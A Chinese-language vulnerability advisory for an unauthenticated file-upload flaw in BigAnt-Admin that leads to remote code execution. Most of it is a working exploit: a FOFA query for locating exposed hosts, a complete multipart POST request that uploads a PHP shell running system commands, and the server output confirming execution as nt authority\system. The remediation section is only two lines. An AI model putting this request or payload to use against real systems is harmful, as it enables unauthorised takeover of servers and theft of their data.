

杭州九麒麟科技 BigAnt-Admin uploadMultipleFile.html 文件上传致RCE漏洞

漏洞描述

杭州九麒麟科技 BigAnt-Admin uploadMultipleFile.html 文件上传致RCE漏洞。这使得未经身份验证的攻击者可以在服务器上传文件执行任意命令，获取敏感数据，实现代码执行。

影响版本

杭州九麒麟科技 BigAnt-Admin

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="BigAnt-Admin"

POC/EXP:

```
POST /Addin/upload/uploadMultipleFile.html HTTP/1.1
Host: 127.0.0.1
Accept: text/html, */*; q=0.01
Content-Type: multipart/form-data; boundary=----
webKitFormBoundary1zy65etyNeQDfyjX
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101
Firefox/136.0
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

-----webKitFormBoundary1zy65etyNeQDfyjX
```

Content-Disposition: form-data; name="file"; filename="rce.php"

```
<?php system("whoami");unlink(__FILE__);?>
-----WebKitFormBoundary1zY65etyNeQDfyjX--
```

发送请求

强制 HTTPS

历史

爆破示例

系统代理: 127.0.0.1:7890

生成 Yaml 模板

Request

1 POST /Addin/Upload/uploadMultipleFile.html HTTP/1.1
2 Host: [redacted]
3 Accept: text/html,*/*; q=0.01
4 Content-Type: multipart/form-data;
boundary=-----WebKitFormBoundary1zY65etyNeQDfyjX
5 Accept-Encoding: gzip, deflate
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
7 X-Requested-With: XMLHttpRequest
8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9
10 -----WebKitFormBoundary1zY65etyNeQDfyjX
11 Content-Disposition: form-data; name="file"; filename="rce.php"
12
13 <?php system("whoami");unlink(__FILE__);?>
14 -----WebKitFormBoundary1zY65etyNeQDfyjX--

Responses 404bytes / 330ms
1 HTTP/1.1 200 OK
2 Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0
3 Content-Type: text/html; charset=UTF-8
4 Date: Mon, 24 Mar 2025 01:19:59 GMT
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Pragma: no-cache
7 Server: Apache/2.4.33 (Win32) OpenSSL/1.0.2o PHP/5.6.36
8 Set-Cookie: PHPSESSID=3bpg9cens33qgb2ads8m1jfnh3; path=/
9 X-Powered-By: PHP/5.6.36
10 Content-Length: 464
11
12 <script language="javascript">
13 parent.openValid();
14 parent.uploadComplete({
15 name: "rce.php",
16 type: "text/x-php",
17 size: 42,
18 key: "",
19 ext: "php",
20 md5: "299883c19226a6190a6d0858d30d7734",
21 sha1: "b7151618e701aed7c0b763026cbce608bf1274dd",
22 savename: "67e0b33f7d609.php",
23 savepath: "\\data\\0\\admin\\2025-03-23\\",
24 savefile: "\\data\\0\\admin\\2025-03-23\\
67e0b33f7d609.php",
25 file_type: 0,
26 status: 1,
27 });
28 </script>
29

← → ↻ ⚠ 不安全 [redacted] 00/data/0/admin/2025-03-23/67e0b33f7d609.php

nt authority\system

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本